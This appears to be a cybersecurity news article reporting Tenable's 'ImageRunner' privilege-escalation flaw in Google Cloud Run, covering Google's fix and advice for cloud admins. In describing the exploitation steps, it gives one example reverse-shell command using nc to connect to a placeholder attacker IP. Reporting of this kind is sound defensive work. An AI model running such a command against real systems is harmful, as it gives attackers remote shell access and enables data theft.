Google Cloud Platform Privilege Escalation Vulnerability Allows Access to Sensitive Data

A significant security vulnerability in Google Cloud Platform (GCP) that could have allowed attackers to access private container images stored in Google Artifact Registry and Google Container Registry. 

The vulnerability, dubbed “ImageRunner,” has been fixed but highlights a concerning privilege escalation path that puts sensitive cloud resources at risk.

The ImageRunner Vulnerability

Tenable Research reports that the vulnerability affects Google Cloud Run, a fully managed service for running containerized applications in a serverless environment. 

At its core, the issue stems from how Cloud Run handles permissions during the container deployment process. 

Identities with edit permissions on Cloud Run revisions (run.services.update and iam.serviceAccounts.actAs) could exploit this vulnerability to access private container images even without having the normally required registry permissions (Storage Object Viewer or Artifact Registry Reader).

When users deploy a Cloud Run service, a new “revision” is created, representing a specific version of the deployed service. 

During this process, Cloud Run relies on a service agent to pull container images from registries. This service agent has elevated permissions to facilitate the deployment process.

Exploitation Method

An attacker exploiting this vulnerability could:

  • Control an identity with run.services.update and iam.serviceAccounts.actAs permissions
  • Update a running Cloud Run service and edit a new revision
  • Specify any private container image within the same project
  • Inject malicious instructions as arguments or commands

For example, an attacker could specify a private “ncat” image and add the following command to establish a reverse shell: nc [attacker_ip] [port] -e /bin/bash.

Once executed, the attacker gains access to the container and can inspect its contents, extract secrets, or exfiltrate sensitive data. 

The attack works because the Cloud Function’s service agent (service-PROJECT_NUMBER@gcf-admin-robot.iam.gserviceaccount.com) has the necessary permissions to pull images, and this privilege is effectively “borrowed” by the attacker.

The ImageRunner vulnerability exemplifies what Tenable Research calls the “Jenga®” concept, where cloud services built on top of other services inherent security risks. If one underlying service is compromised, the services built above it become vulnerable as well.

This vulnerability pattern has been observed across major cloud providers and introduces significant challenges for security teams trying to protect cloud infrastructures.

Google addressed the vulnerability by implementing a critical security control: the principal creating or updating a Cloud Run resource now needs explicit permission to access the container images being deployed. 

Specifically, when using Artifact Registry, the principal must have the Artifact Registry Reader (roles/artifactregistry.reader) IAM role on the project or repository containing the container images.

The fix was fully rolled out to production on January 28, 2025, with advance notifications sent to affected Project, Folder, and Organization owners in November 2024.

Recommendations for Cloud Admins

Organizations using the Google Cloud Platform should:

  • Ensure IAM permissions follow the least privileged principles
  • Verify that identities with appropriate registry permissions perform all Cloud Run deployments
  • Monitor for suspicious Cloud Run revision updates
  • Consider implementing additional security controls for container deployments

This vulnerability reminds us that cloud security requires vigilance against complex privilege escalation paths that might not be immediately obvious in modern multi-service architectures.

Investigate Real-World Malicious Links & Phishing Attacks With Threat Intelligence Lookup - Try 50 Request for Free

Guru Baran

Gurubaran KS is a cybersecurity analyst, and Journalist with a strong focus on emerging threats and digital defense strategies. He is the Co-Founder and Editor-in-Chief of Cyber Security News, where he leads editorial coverage on global cybersecurity developments.

Recent Posts

Hackers Target AI Infrastructure With RCE, Prompt Injection and API Key Theft

Hackers are actively probing AI systems, turning exposed gateways and agent tools into routes for…

5 hours ago

Hackers Make Phishing Pages Change Their Code Every Time Someone Opens Them

Hackers are making some phishing pages harder to track by changing the code delivered to…

5 hours ago

Iran-Linked Hackers Reportedly Knock UK Power Plant Offline for Four Days

A cyber incident reportedly forced a British power plant to halt operations for about four…

6 hours ago

Russian Hackers Use New HOOKEDGE Malware to Spy on European Defense and Diplomatic Targets

Russian hackers have used a new backdoor called HOOKEDGE to target defense manufacturers, government bodies,…

6 hours ago

Ransomware Gang Claims AI Can Analyze 700GB of Stolen Data Every Hour

TITAN ransomware is pairing file encryption with an ambitious claim: artificial intelligence that can sort…

7 hours ago

Hackers Compromise Hundreds of WordPress Sites to Deploy Amatera Stealer via ClickFix

A fake student resume is being used to place a remote-access tool on researchers’ Windows…

8 hours ago